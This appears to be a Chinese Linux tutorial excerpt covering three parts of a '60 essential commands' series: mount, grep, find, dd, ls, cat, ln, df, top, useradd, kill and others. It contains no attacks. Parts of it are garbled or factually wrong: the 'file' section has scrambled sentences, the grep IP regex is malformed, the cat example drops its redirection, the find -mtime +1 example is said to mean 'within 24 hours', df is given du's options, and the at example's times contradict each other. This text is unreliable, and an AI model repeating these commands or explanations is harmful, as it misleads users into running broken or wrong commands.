◆ Linux用的文件系统:ext2、ext3; ◆ CD-ROM光盘用的文件系统:iso9660。 虽然vfat是指FAT 32系统,但事实上它也兼容FAT 16的文件系统类型。 (2)确定设备的名称 在Linux 中,设备名称通常都存在/dev里。这些设备名称的命名都是有规则的,可以用“推理”的方式把设备名称找出来。例如,/dev/hda1这个 IDE设备,hd是Hard Disk(硬盘)的,sd是SCSI Device,fd是Floppy Device(或是Floppy Disk?)。a代表第一个设备,通常IDE接口可以接上4个IDE设备(比如4块硬盘)。所以要识别IDE硬盘的方法分别就是hda、hdb、hdc、 hdd。hda1中的“1”代表hda的第一个硬盘分区 (partition),hda2代表hda的第二主分区,第一个逻辑分区从hda5开始,依此类推。此外,可以直接检查 /var/log/messages文件,在该文件中可以找到计算机开机后系统已辨认出来的设备代号。 (3)查找挂接点 在决定将设备挂接之前,先要查看一下计算机是不是有个/mnt的空目录,该目录就是专门用来当作挂载点(Mount Point)的目录。建议在/mnt里建几个/mnt/cdrom、/mnt/floppy、/mnt/mo等目录,当作目录的专用挂载点。举例而言,如要挂载下列5个设备,其执行指令可能如下 (假设都是Linux的ext2系统,如果是Windows XX请将ext2改成vfat): 软盘 ===>mount -t ext2 /dev/fd0 /mnt/floppy cdrom ===>mount -t iso9660 /dev/hdc /mnt/cdrom SCSI cdrom ===>mount -t iso9660 /dev/sdb /mnt/scdrom SCSI cdr ===>mount -t iso9660 /dev/sdc /mnt/scdr 不过目前大多数较新的Linux发行版本(包括红旗 Linux、中软Linux、Mandrake Linux等)都可以自动挂装文件系统,但Red Hat Linux除外。 umount 1.作用 umount命令的作用是卸载一个文件系统,它的使用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 unmount -a [-fFnrsvw] [-t vfstype] [-n] [-rw] [-F] device dir 3.使用说明 umount 命令是mount命令的逆操作,它的参数和使用方法和mount命令是一样的。Linux挂装CD-ROM后,会锁定CD—ROM,这样就不能用CD- ROM面板上的Eject按钮弹出它。但是,当不再需要光盘时,如果已将/cdrom作为符号链接,请使用umount/cdrom来卸装它。仅当无用户正在使用光盘时,该命令才会成功。该命令包括了将带有当前工作目录当作该光盘中的目录的终端窗口。 chsh 1.作用 chsh命令的作用是更改使用者shell设定,它的使用权限是所有使用者。 2.格式 chsh [ -s ] [ -list] [ --help ] [ -v ] [ username ] 3.主要参数 -l:显示系统所有Shell类型。 -v:显示Shell版本号。 4.应用技巧 前面介绍了Linux下有多种Shell,一般缺省的是Bash,如果想更换Shell类型可以使用chsh命令。先输入账户密码,然后输入新Shell类型,如果操作正确系统会显示“Shell change”。其界面一般如下: Changing fihanging shell for cao Password: New shell [/bin/bash]: /bin/tcsh 上面代码中,[ ]内是目前使用的Shell。普通用户只能修改自己的Shell,超级用户可以修改全体用户的Shell。要想查询系统提供哪些Shell,可以使用chsh -l 命令,见图1所示。 图1 系统可以使用的Shell类型 从图1中可以看到,笔者系统中可以使用的Shell有bash(缺省)、csh、sh、tcsh四种。 exit 1.作用 exit命令的作用是退出系统,它的使用权限是所有用户。 2.格式 exit 3.参数 exit命令没有参数,运行后退出系统进入登录界面。 last 1.作用 last命令的作用是显示近期用户或终端的登录情况,它的使用权限是所有用户。通过last命令查看该程序的log,管理员可以获知谁曾经或企图连接系统。 2.格式 1ast[—n][-f file][-t tty] [—h 节点][-I —IP][—1][-y][1D] 3.主要参数 -n:指定输出记录的条数。 -f file:指定用文件file作为查询用的log文件。 -t tty:只显示指定的虚拟控制台上登录情况。 -h 节点:只显示指定的节点上的登录情况。 -i IP:只显示指定的IP上登录的情况。 -1:用IP来显示远端地址。 -y:显示记录的年、月、日。 -ID:知道查询的用户名。 -x:显示系统关闭、用户登录和退出的历史。 动手练习 上面介绍了Linux安装和登录命令,下面介绍几个实例,动手练习一下刚才讲过的命令。 1.一次运行多个命令 在一个命令行中可以执行多个命令,用分号将各个命令隔开即可,例如: #last -x;halt 上面代码表示在显示系统关闭、用户登录和退出的历史后关闭计算机。 2.利用mount挂装文件系统访问Windows系统 许多Linux发行版本现在都可以自动加载Vfat分区来访问Windows系统,而Red Hat各个版本都没有自动加载Vfat分区,因此还需要进行手工操作。 mount 可以将Windows分区作为Linux的一个“文件”挂接到Linux的一个空文件夹下,从而将Windows的分区和/mnt这个目录联系起来。因此,只要访问这个文件夹就相当于访问该分区了。首先要在/mnt下建立winc文件夹,在命令提示符下输入下面命令: #mount -t vfat /dev/hda1 /mnt/winc 即表示将Windows的C分区挂到Liunx的/mnt/winc目录下。这时,在/mnt/winc目录下就可以看到Windows中C盘的内容了。使用类似的方法可以访问Windows系统的D、E盘。在Linux系统显示Windows的分区一般顺序这样的:hda1为C盘、hda5为D盘、 hda6为E盘……以此类推。上述方法可以查看Windows系统有一个很大的问题,就是Windows中的所有中文文件名或文件夹名全部显示为问号 “?”,而英文却可以正常显示。我们可以通过加入一些参数让它显示中文。还以上面的操作为例,此时输入命令: #mount -t vfat -o iocharset=cp936 /dev/hda1 /mnt/winc 现在它就可以正常显示中文了。 3.使用mount加挂闪盘上的文件系统 在Linux下使用闪盘非常简单。Linux对USB设备有很好的支持,当插入闪盘后,闪盘被识别为一个SCSI盘,通常输入以下命令: # mount /dev/sda1 /usb 就能够加挂闪盘上的文件系统。 小知识 Linux命令与Shell 所谓Shell,就是命令解释程序,它提供了程序设计接口,可以使用程序来编程。学习Shell对于Linux初学者理解Linux系统是非常重要的。 Linux系统的Shell作为操作系统的外壳,为用户提供了使用操作系统的接口。Shell是命令语言、命令解释程序及程序设计语言的统称,是用户和 Linux内核之间的接口程序。如果把Linux内核想象成一个球体的中心,Shell就是围绕内核的外层。当从Shell或其它程序向Linux传递命令时,内核会做出相应的反应。Shell在Linux系统的作用和MS DOS下的COMMAND.COM和Windows 95/98 的 explorer.exe相似。Shell虽然不是系统核心的一部分,只是系统核心的一个外延,但它能够调用系统内核的大部分功能。因此,可以说 Shell是Unux/Linux最重要的实用程序。 Linux中的Shell有多种类型,其中最常用的是Bourne Shell(sh)、C Shell(csh)和Korn Shell(ksh)。大多数Linux发行版本缺省的Shell是Bourne Again Shell,它是Bourne Shell的扩展,简称bash,与Bourne Shell完全向后兼容,并且在Bourne Shell的基础上增加了很多特性。bash放在/bin/bash中,可以提供如命令补全、命令编辑和命令历史表等功能。它还包含了很多C Shell和Korn Shell中的优点,有灵活和强大的编程接口,同时又有很友好的用户界面。Linux系统中200多个命令中有40个是bash的内部命令,主要包括 exit、less、lp、kill、 cd、pwd、fc、fg等。 -------------------------------------------------------------------------------- Linux必学的60个命令(2)-文件处理命令 Linux 系统信息存放在文件里,文件与普通的公务文件类似。每个文件都有自己的名字、内容、存放地址及其它一些管理信息,如文件的用户、文件的大小等。文件可以是一封信、一个通讯录,或者是程序的源语句、程序的数据,甚至可以包括可执行的程序和其它非正文内容。 Linux文件系统具有良好的结构,系统提供了很多文件处理程序。这里主要介绍常用的文件处理命令。 file 1.作用 件内容判断文件类型,使用权限是所有用户。 2.格式 file通过探测文 file [options] 文件名 3.[options]主要参数 -v:在标准输出后显示版本信息,并且退出。 -z:探测压缩过的文件类型。 -L:允许符合连接。 -f name:从文件namefile中读取要分析的文件名列表。 4.简单说明 使用file命令可以知道某个文件究竟是二进制(ELF格式)的可执行文件, 还是Shell Script文件,或者是其它的什么格式。file能识别的文件类型有目录、Shell脚本、英文文本、二进制可执行文件、C语言源文件、文本文件、DOS的可执行文件。 5.应用实例 如果我们看到一个没有后缀的文件grap,可以使用下面命令: $ file grap grap: English text 此时系统显示这是一个英文文本文件。需要说明的是,file命令不能探测包括图形、音频、视频等多媒体文件类型。 mkdir 1.作用 mkdir命令的作用是建立名称为dirname的子目录,与MS DOS下的md命令类似,它的使用权限是所有用户。 2.格式 mkdir [options] 目录名 3.[options]主要参数 -m, --mode=模式:设定权限,与chmod类似。 -p, --parents:需要时创建上层目录;如果目录早已存在,则不当作错误。 -v, --verbose:每次创建新目录都显示信息。 --version:显示版本信息后离开。 4.应用实例 在进行目录创建时可以设置目录的权限,此时使用的参数是“-m”。假设要创建的目录名是“tsk”,让所有用户都有rwx(即读、写、执行的权限),那么可以使用以下命令: $ mkdir -m 777 tsk grep 1.作用 grep命令可以指定文件中搜索特定的内容,并将含有这些内容的行标准输出。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。 2.格式 grep [options] 3.主要参数 [options]主要参数: -c:只输出匹配行的计数。 -I:不区分大小写(只适用于单字符)。 -h:查询多文件时不显示文件名。 -l:查询多文件时只输出包含匹配字符的文件名。 -n:显示匹配行及行号。 -s:不显示不存在或无匹配文本的错误信息。 -v:显示不包含匹配文本的所有行。 pattern正则表达式主要参数: \:忽略正则表达式中特殊字符的原有含义。 ^:匹配正则表达式的开始行。 $: 匹配正则表达式的结束行。 \:到匹配正则表达式的行结束。 [ ]:单个字符,如[A]即A符合要求 。 [ - ]:范围,如[A-Z],即A、B、C一直到Z都符合要求 。 。:所有的单个字符。 * :有字符,长度可以为0。 正则表达式是Linux/Unix系统中非常重要的概念。正则表达式(也称为“regex”或“regexp”)是一个可以描述一类字符串的模式(Pattern)。如果一个字符串可以用某个正则表达式来描述,我们就说这个字符和该正则表达式匹配(Match)。这和DOS中用户可以使用通配符 “*”代表任意字符类似。在Linux系统上,正则表达式通常被用来查找文本的模式,以及对文本执行“搜索-替换”操作和其它功能。 4.应用实例 查询DNS服务是日常工作之一,这意味着要维护覆盖不同网络的大量IP地址。有时IP地址会超过2000个。如果要查看nnn.nnn网络地址,但是却忘了第二部分中的其余部分,只知到有两个句点,例如nnn nn..。要抽取其中所有nnn.nnn IP地址,使用[0-9 ]\{3 \}\.[0-0\{3\}\。含义是任意数字出现3次,后跟句点,接着是任意数字出现3次,后跟句点。 $grep '[0-9 ]\{3 \}\.[0-0\{3\}\' ipfile 补充说明,grep家族还包括fgrep和egrep。fgrep是fix grep,允许查找字符串而不是一个模式;egrep是扩展grep,支持基本及扩展的正则表达式,但不支持\q模式范围的应用及与之相对应的一些更加规范的模式。 dd 1.作用 dd命令用来复制文件,并根据参数将数据转换和格式化。 2.格式 dd [options] 3.[opitions]主要参数 bs=字节:强迫 ibs=及obs=。 cbs=字节:每次转换指定的。 conv=关键字:根据以逗号分隔的关键字表示的方式来转换文件。 count=块数目:只复制指定的输入数据。 ibs=字节:每次读取指定的。 if=文件:读取内容,而非标准输入的数据。 obs=字节:每次写入指定的。 of=文件:将数据写入,而不在标准输出显示。 seek=块数目:先略过以obs为单位的指定的输出数据。 skip=块数目:先略过以ibs为单位的指定的输入数据。 4.应用实例 dd命令常常用来制作Linux启动盘。先找一个可引导内核,令它的根设备指向正确的根分区,然后使用dd命令将其写入软盘: $ rdev vmlinuz /dev/hda $dd if=vmlinuz of=/dev/fd0 上面代码说明,使用rdev命令将可引导内核vmlinuz中的根设备指向/dev/hda,请把“hda”换成自己的根分区,接下来用dd命令将该内核写入软盘。 find 1.作用 find命令的作用是在目录中搜索文件,它的使用权限是所有用户。 2.格式 find [path][options][expression] path指定目录路径,系统从这里开始沿着目录树向下查找文件。它是一个路径列表,相互用空格分离,如果不写path,那么默认为当前目录。 3.主要参数 [options]参数: -depth:使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容。 -maxdepth levels:表示至多查找到开始目录的第level层子目录。level是一个非负数,如果level是0的话表示仅在当前目录中查找。 -mindepth levels:表示至少查找到开始目录的第level层子目录。 -mount:不在其它文件系统(如Msdos、Vfat等)的目录和文件中查找。 -version:打印版本。 [expression]是匹配表达式,是find命令接受的表达式,find命令的所有操作都是针对表达式的。它的参数非常多,这里只介绍一些常用的参数。 —name:支持统配符*和?。 -atime n:搜索在过去n天读取过的文件。 -ctime n:搜索在过去n天修改过的文件。 -group grpoupname:搜索所有组为grpoupname的文件。 -user 用户名:搜索所有文件属主为用户名(ID或名称)的文件。 -size n:搜索文件大小是n个block的文件。 -print:输出搜索结果,并且打印。 4.应用技巧 find命令查找文件的几种方法: (1)根据文件名查找 例如,我们想要查找一个文件名是lilo.conf的文件,可以使用如下命令: find / -name lilo.conf find命令后的“/”表示搜索整个硬盘。 (2)快速查找文件 根据文件名查找文件会遇到一个实际问题,就是要花费相当长的一段时间,特别是大型Linux文件系统和大容量硬盘文件放在很深的子目录中时。如果我们知道了这个文件存放在某个目录中,那么只要在这个目录中往下寻找就能节省很多时间。比如smb.conf文件,从它的文件后缀“.conf”可以判断这是一个配置文件,那么它应该在/etc目录内,此时可以使用下面命令: find /etc -name smb.conf 这样,使用“快速查找文件”方式可以缩短时间。 (3)根据部分文件名查找方法 有时我们知道只某个文件包含有abvd这4个字,那么要查找系统中所有包含有这4个字符的文件可以输入下面命令: find / -name '*abvd*' 输入这个命令以后,Linux系统会将在/目录中查找所有的包含有abvd这4个字符的文件(其中*是通配符),比如abvdrmyz等符合条件的文件都能显示出来。 (4) 使用混合查找方式查找文件 find命令可以使用混合查找的方法,例如,我们想在/etc目录中查找大于500000字节,并且在24小时内修改的某个文件,则可以使用-and (与)把两个查找参数链接起来组合成一个混合的查找方式。 find /etc -size +500000c -and -mtime +1 mv 1.作用 mv命令用来为文件或目录改名,或者将文件由一个目录移入另一个目录中,它的使用权限是所有用户。该命令如同DOS命令中的ren和move的组合。 2.格式 mv[options] 源文件或目录 目标文件或目录 3.[options]主要参数 -i:交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖,此时系统询问是否重写,要求用户回答“y”或“n”,这样可以避免误覆盖文件。 -f:禁止交互操作。mv操作要覆盖某个已有的目标文件时不给任何指示,指定此参数后i参数将不再起作用。 4.应用实例 (1)将/usr/cbu中的所有文件移到当前目录(用“.”表示)中: $ mv /usr/cbu/ * . (2)将文件cjh.txt重命名为wjz.txt: $ mv cjh.txt wjz.txt  ls 1.作用 ls命令用于显示目录内容,类似DOS下的dir命令,它的使用权限是所有用户。 2.格式 ls [options][filename] 3.options主要参数 -a, --all:不隐藏任何以“.” 字符开始的项目。 -A, --almost-all:列出除了“ . ”及 “.. ”以外的任何项目。 --author:印出每个文件著作者。 -b, --escape:以八进制溢出序列表示不可打印的字符。 --block-size=大小:块以指定的字节为单位。 -B, --ignore-backups:不列出任何以 ~ 字符结束的项目。 -f:不进行排序,-aU参数生效,-lst参数失效。 -F, --classify:加上文件类型的指示符号 (*/=@| 其中一个)。 -g:like -l, but do not list owner。 -G, --no-group:inhibit display of group information。 -i, --inode:列出每个文件的inode号。 -I, --ignore=样式:不印出任何符合Shell万用字符的项目。 -k:即--block-size=1K。 -l:使用较长格式列出信息。 -L, --dereference:当显示符号链接的文件信息时,显示符号链接所指示的对象,而并非符号链接本身的信息。 -m:所有项目以逗号分隔,并填满整行行宽。 -n, --numeric-uid-gid:类似-l,但列出UID及GID号。 -N, --literal:列出未经处理的项目名称,例如不特别处理控制字符。 -p, --file-type:加上文件类型的指示符号 (/=@| 其中一个)。 -Q, --quote-name:将项目名称括上双引号。 -r, --reverse:依相反次序排列。 -R, --recursive:同时列出所有子目录层。 -s, --size:以块大小为序。 4.应用举例 ls 命令Linux系统使用频率最多的命令,它的参数也是Linux命令中最多的。使用ls命令时会有几种不同的颜色,其中蓝色表示是目录,绿色表示是可执行文件,红色表示是压缩文件,浅蓝色表示是链接文件,加粗的黑色表示符号链接,灰色表示是其它格式文件。ls最常使用的是ls- l,见图1所示。 图1 使用ls-l命令 文件类型开头是由10个字符构成的字符串。其中第一个字符表示文件类型,它可以是下述类型之一:-(普通文件)、d(目录)、l(符号链接)、b(块设备文件)、c(字符设备文件)。后面的9个字符表示文件的访问权限,分为3组,每组3位。第一组表示文件属主的权限,第二组表示同组用户的权限,第三组表示其他用户的权限。每一组的三个字符分别表示对文件的读(r)、写(w)和执行权限(x)。对于目录,表示进入权限。s表示当文件被执行时,把该文件的UID 或GID赋予执行进程的UID(用户ID)或GID(组 ID)。t表示设置标志位(留在内存,不被换出)。如果该文件是目录,那么在该目录中的文件只能被超级用户、目录拥有者或文件属主删除。如果它是可执行文件,那么在该文件执行后,指向其正文段的指针仍留在内存。这样再次执行它时,系统就能更快地装入该文件。接着显示的是文件大小、生成时间、文件或命令名称。 diff 1.作用 diff命令用于两个文件之间的比较,并指出两者的不同,它的使用权限是所有用户。 2.格式 diff [options] 源文件 目标文件 3.[options]主要参数 -a:将所有文件当作文本文件来处理。 -b:忽略空格造成的不同。 -B:忽略空行造成的不同。 -c:使用纲要输出格式。 -H:利用试探法加速对大文件的搜索。 -I:忽略大小写的变化。 -n --rcs:输出RCS格式。 cmp 1.作用 cmp(“compare”的缩写)命令用来简要指出两个文件是否存在差异,它的使用权限是所有用户。 2.格式 cmp[options] 文件名 3.[options]主要参数 -l: 将字节以十进制的方式输出,并方便将两个文件中不同的以八进制的方式输出。 cat 1.作用 cat(“concatenate”的缩写)命令用于连接并显示指定的一个和多个文件的有关信息,它的使用权限是所有用户。 2.格式 cat [options] 文件1 文件2…… 3.[options]主要参数 -n:由第一行开始对所有输出的行数编号。 -b:和-n相似,只不过对于空白行不编号。 -s:当遇到有连续两行以上的空白行时,就代换为一行的空白行。 4.应用举例 (1)cat命令一个最简单的用处是显示文本文件的内容。例如,我们想在命令行看一下README文件的内容,可以使用命令: $ cat README  (2)有时需要将几个文件处理成一个文件,并将这种处理的结果保存到一个单独的输出文件。cat命令在其输入上接受一个或多个文件,并将它们作为一个单独的文件打印到它的输出。例如,把README和INSTALL的文件内容加上行号(空白行不加)之后,将内容附加到一个新文本文件File1 中: $ cat README INSTALL File1 (3)cat还有一个重要的功能就是可以对行进行编号,见图2所示。这种功能对于程序文档的编制,以及法律和科学文档的编制很方便,打印在左边的行号使得参考文档的某一部分变得容易,这些在编程、科学研究、业务报告甚至是立法工作中都是非常重要的。 图2 使用cat命令/etc/named.conf文件进行编号 对行进行编号功能有-b(只能对非空白行进行编号)和-n(可以对所有行进行编号)两个参数: $ cat -b /etc/named.conf ln 1.作用 ln命令用来在文件之间创建链接,它的使用权限是所有用户。 2.格式 ln [options] 源文件 [链接名] 3.参数 -f:链结时先将源文件删除。 -d:允许系统管理者硬链结自己的目录。 -s:进行软链结(Symbolic Link)。 -b:将在链结时会被覆盖或删除的文件进行备份。 链接有两种,一种被称为硬链接(Hard Link),另一种被称为符号链接(Symbolic Link)。默认情况下,ln命令产生硬链接。 硬连接指通过索引节点来进行的连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件才会被真正删除。 与硬连接相对应,Lnux系统中还存在另一种连接,称为符号连接(Symbilc Link),也叫软连接。软链接文件有点类似于Windows的快捷方式。它实际上是特殊文件的一种。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。 动手练习 上面我们介绍了Linux文件处理命令,下面介绍几个实例,大家可以动手练习一下刚才讲过的命令。 1.利用符号链接快速访问关键目录 符号链接是一个非常实用的功能。假设有一些目录或文件需要频繁使用,但由于Linux的文件和目录结构等原因,这个文件或目录在很深的子目录中。比如, Apache Web服务器文档位于系统的/usr/local/httpd/htdocs中,并且不想每次都要从主目录进入这样一个长的路径之中(实际上,这个路径也非常不容易记忆)。 为了解决这个问题,可以在主目录中创建一个符号链接,这样在需要进入该目录时,只需进入这个链接即可。 为了能方便地进入Web服务器(/usr/local/httpd/htdocs)文档所在的目录,在主目录下可以使用以下命令: $ ln -s /usr/local/httpd/htdocs gg 这样每次进入gg目录就可访问Web服务器的文档,以后如果不再访问Web服务器的文档时,删除gg即可,而真正的Web服务器的文档并没有删除。 2.使用dd命令将init.rd格式的root.ram内容导入内存 dd if=/dev/fd0 of=floppy.fd dd if=root.ram of=/dev/ram0 # 3.grep命令系统调用 grep是Linux/Unix中使用最广泛的命令之一,许多Linux系统内部都可以调用它。 (1)如果要查询目录列表中的目录,方法如下: $ ls -l | grep '∧d' (2)如果在一个目录中查询不包含目录的所有文件,方法如下: $ ls -l | grep '∧[∧d]' (3)用find命令调用grep,如所有C源代码中的“Chinput”,方法如下: $find /ZhXwin -name *.c -exec grep -q -s Chinput {} \;-print -------------------------------------------------------------------------------- Linux必学的60个命令(3)-系统管理命令 Linux必学的系统管理命令 对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心。熟悉了Linux常用的文件处理命令以后,这一讲介绍对系统和用户进行管理的命令。 df 1.作用 df命令用来检查文件系统的磁盘空间占用情况,使用权限是所有用户。 2.格式 df [options] 3.主要参数 -s:对每个Names参数只给出占用的数据块总数。 -a:递归地显示指定目录中各文件及子目录中各文件占用的数据块数。若既不指定-s,也不指定-a,则只显示Names中的每一个目录及其中的各子目录所占的磁盘块数。 -k:以1024字节为单位列出磁盘空间使用情况。 -x:跳过在不同文件系统上的目录不予统计。 -l:计算所有的文件大小,对硬链接文件则计算多次。 -i:显示inode信息而非块使用量。 -h:以容易理解的格式印出文件系统大小,例如136KB、254MB、21GB。 -P:使用POSIX输出格式。 -T:显示文件系统类型。 4.说明 df命令被广泛地用来生成文件系统的使用统计数据,它能显示系统中所有的文件系统的信息,包括总容量、可用的空闲空间、目前的安装点等。 超级权限用户使用df命令时会发现这样的情况:某个分区的容量超过了100%。这是因为Linux系统为超级用户保留了10%的空间,由其单独支配。也就是说,对于超级用户而言,他所见到的硬盘容量将是110%。这样的安排对于系统管理而言是有好处的,当硬盘被使用的容量接近100%时系统管理员还可以正常工作。 5.应用实例 Linux支持的文件系统非常多,包括JFS、ReiserFS、ext、ext2、ext3、ISO9660、XFS、Minx、vfat、MSDOS等。使用df -T命令查看磁盘空间时还可以得到文件系统的信息: #df -T 文件系统 类型 容量 已用 可用 已用% 挂载点 /dev/hda7 reiserfs 5.2G 1.6G 3.7G 30% / /dev/hda1 vfat 2.4G 1.6G 827M 66% /windows/C /dev/hda5 vfat 3.0G 1.7G 1.3G 57% /windows/D /dev/hda9 vfat 3.0G 2.4G 566M 82% /windows/E /dev/hda10 NTFS 3.2G 573M 2.6G 18% /windows/F /dev/hda11 vfat 1.6G 1.5G 23M 99% /windows/G 从上面除了可以看到磁盘空间的容量、使用情况外,分区的文件系统类型、挂载点等信息也一览无遗。 top 1.作用 top命令用来显示执行中的程序进程,使用权限是所有用户。 2.格式 top [-] [d delay] [q] [c] [S] [s] [i] [n] 3.主要参数 d:指定更新的间隔,以秒计算。 q:没有任何延迟的更新。如果使用者有超级用户,则top命令将会以最高的优先序执行。 c:显示进程完整的路径与名称。 S:累积模式,会将己完成或消失的子行程的CPU时间累积起来。 s:安全模式。 i:不显示任何闲置(Idle)或无用(Zombie)的行程。 n:显示更新的次数,完成后将会退出top。 4.说明 top命令Linux系统管理的一个主要命令,通过它可以获得许多信息。这里我们结合图1来说明它给出的信息。 图1 top命令的显示 在图1中,第一行表示的项目依次为当前时间、系统启动时间、当前系统登录用户数目、平均负载。第二行显示的是所有启动的进程、目前运行的、挂起 (Sleeping)的和无用(Zombie)的进程。第三行显示的是目前CPU的使用情况,包括系统占用的比例、用户使用比例、闲置(Idle)比例。第四行显示物理内存的使用情况,包括总的可以使用的内存、已用内存、空闲内存、缓冲区占用的内存。第五行显示交换分区使用情况,包括总的交换分区、使用的、空闲的和用于高速缓存的大小。第六行显示的项目最多,下面列出了详细解释。 PID(Process ID):进程标示号。 USER:进程所有者的用户名。 PR:进程的优先级别。 NI:进程的优先级别数值。 VIRT:进程占用的虚拟内存值。 RES:进程占用的物理内存值。 SHR:进程使用的共享内存值。 S:进程的状态,其中S表示休眠,R表示正在运行,Z表示僵死状态,N表示该进程优先值是负数。 %CPU:该进程占用的CPU使用率。 %MEM:该进程占用的物理内存和总内存的百分比。 TIME+:该进程启动后占用的总的CPU时间。 Command:进程启动的启动命令名称,如果这一行显示不下,进程会有一个完整的命令行。 top命令使用过程中,还可以使用一些交互的命令来完成其它参数的功能。这些命令是通过快捷键启动的。 :立刻刷新。 P:根据CPU使用大小进行排序。 T:根据时间、累计时间排序。 q:退出top命令。 m:切换显示内存信息。 t:切换显示进程和CPU状态信息。 c:切换显示命令名称和完整命令行。 M:根据使用内存大小进行排序。 W:将当前设置写入~/.toprc文件中。这是写top配置文件的推荐方法。 可以看到,top命令是一个功能十分强大的监控系统的工具,对于系统管理员而言尤其重要。但是,它的缺点是会消耗很多系统资源。 5.应用实例 使用top命令可以监视指定用户,缺省情况是监视所有用户的进程。如果想查看指定用户的情况,在终端中按“U”键,然后输入用户名,系统就会切换为指定用户的进程运行界面,见图2所示。 图2 使用top命令监视指定用户 free 1.作用 free命令用来显示内存的使用情况,使用权限是所有用户。 2.格式 free [-b|-k|-m] [-o] [-s delay] [-t] [-V] 3.主要参数 -b -k -m:分别以字节(KB、MB)为单位显示内存使用情况。 -s delay:显示每隔多少秒数来显示一次内存使用情况。 -t:显示内存总和列。 -o:不显示缓冲区调节列。 4.应用实例 free命令是用来查看内存使用情况的主要命令。和top命令相比,它的优点是使用简单,并且只占用很少的系统资源。通过-S参数可以使用free命令不间断地监视有多少内存在使用,这样可以把它当作一个方便实时监控器。 #free -b -s5 使用这个命令后终端会连续不断地报告内存使用情况(以字节为单位),每5秒更新一次。 quota 1.作用 quota命令用来显示磁盘使用情况和限制情况,使用权限超级用户。 2.格式 quota [-g][-u][-v][-p] 用户名 组名 3.参数 -g:显示用户所在组的磁盘使用限制。 -u:显示用户的磁盘使用限制。 -v:显示没有分配空间的文件系统的分配情况。 -p:显示简化信息。 4.应用实例 在企业应用中磁盘配额非常重要,普通用户要学会看懂自己的磁盘使用情况。要查询自己的磁盘配额可以使用下面命令(下例中用户账号是caojh): #quota caojh Disk quotas for user caojh(uid 502): Filesystem blocks quota limit grace files quota limit grace /dev/hda3 58 200000 400000 41 500 1000 以上显示ID号为502的caojh账号,文件个数设置为500~1000个,硬盘空间限制设置为200MB~400MB。一旦磁盘配额要用完时,就需要删除一些垃圾文件或向系统管理员请求追加配额。 at 1.作用 at命令用来在指定时刻执行指定的命令序列。 2.格式 at [-V] [-q x] [-f file] [-m] time 3.主要参数 -V:显示标准错误输出。 -q:许多队列输出。 -f:从文件中读取作业。 -m:执行完作业后发送电子邮件到用户。 time:设定作业执行的时间。time格式有严格的要求,由小时、分钟、日期和时间的偏移量组成,其中日期的格式为MM.DD.YY,MM是分钟,DD是日期,YY是指年份。偏移量的格式为时间+偏移量,单位是minutes、hours和days。 4.应用实例 #at -f data 15:30 +2 days 上面命令表示让系统在两天后的17:30执行文件data中指明的作业。 lp 1.作用 lp是打印文件的命令,使用权限是所有用户。 2.格式 lp [-c][-d][-m][-number][-title][-p] 3.主要参数 -c:先拷贝文件再打印。 -d:打印队列文件。 -m:打印结束后发送电子邮件到用户。 -number:打印份数。 -title:打印标题。 -p:设定打印的优先级别,最高为100。 4.应用实例 (1)使用lp命令打印多个文件 #lp 2 3 4 request id is 11 (3 file(s)) 其中2、3、4分别是文件名;“request id is 11 (3 file(s)) ”表示这是第11个打印命令,依次打印这三个文件。 (2)设定打印优先级别 #lp lp -d LaserJet -p 90 /etc/aliases 通过添加“-p 90”,规定了打印作业的优先级为90。它将在优先级低于90的打印作业之前打印,包括没有设置优先级的作业,缺省优先级是50 useradd 1.作用 useradd命令用来建立用户帐号和创建用户的起始目录,使用权限是超级用户。 2.格式 useradd [-d home] [-s shell] [-c comment] [-m [-k template]] [-f inactive] [-e expire ] [-p passwd] [-r] name 3.主要参数 -c:加上备注文字,备注文字保存在passwd的备注栏中。  -d:指定用户登入时的启始目录。 -D:变更预设值。 -e:指定账号的有效期限,缺省表示永久有效。 -f:指定在密码过期后多少天即关闭该账号。 -g:指定用户所属的群组。 -G:指定用户所属的附加群组。 -m:自动建立用户的登入目录。 -M:不要自动建立用户的登入目录。 -n:取消建立以用户名称为名的群组。 -r:建立系统账号。 -s:指定用户登入后所使用的shell。 -u:指定用户ID号。 4.说明 useradd可用来建立用户账号,它和adduser命令是相同的。账号建好之后,再用passwd设定账号的密码。使用useradd命令所建立的账号,实际上是保存在/etc/passwd文本文件中。 5.应用实例 建立一个新用户账户,并设置ID: #useradd caojh -u 544 需要说明的是,设定ID值时尽量要大于500,以免冲突。因为Linux安装后会建立一些特殊用户,一般0到499之间的值留给bin、mail这样的系统账号。 groupadd 1.作用 groupadd命令用于将新组加入系统。 2.格式 groupadd [-g gid] [-o]] [-r] [-f] groupname 3.主要参数 -g gid:指定组ID号。 -o:允许组ID号,不必惟一。 -r:加入组ID号,低于499系统账号。 -f:加入已经有的组时,发展程序退出。 4.应用实例 建立一个新组,并设置组ID加入系统: #groupadd -g 344 cjh 此时在/etc/passwd文件中产生一个组ID(GID)是344的项目。 kill 1.作用 kill命令用来中止一个进程。 2.格式 kill [ -s signal | -p ] [ -a ] pid ... kill -l [ signal ] 3.参数 -s:指定发送的信号。 -p:模拟发送信号。 -l:指定信号的名称列表。 pid:要中止进程的ID号。 Signal:表示信号。 4.说明 进程是Linux系统中一个非常重要的概念。Linux是一个多任务的操作系统,系统上经常同时运行着多个进程。我们不关心这些进程究竟是如何分配的,或者是内核如何管理分配时间片的,所关心的是如何去控制这些进程,让它们能够很好地为用户服务。 Linux 操作系统包括三种不同类型的进程,每种进程都有自己的特点和属性。交互进程是由一个Shell启动的进程。交互进程既可以在前台运行,也可以在后台运行。批处理进程和终端没有联系,是一个进程序列。监控进程(也称系统守护进程)时Linux系统启动时启动的进程,并在后台运行。例如,httpd是著名的 Apache服务器的监控进程。 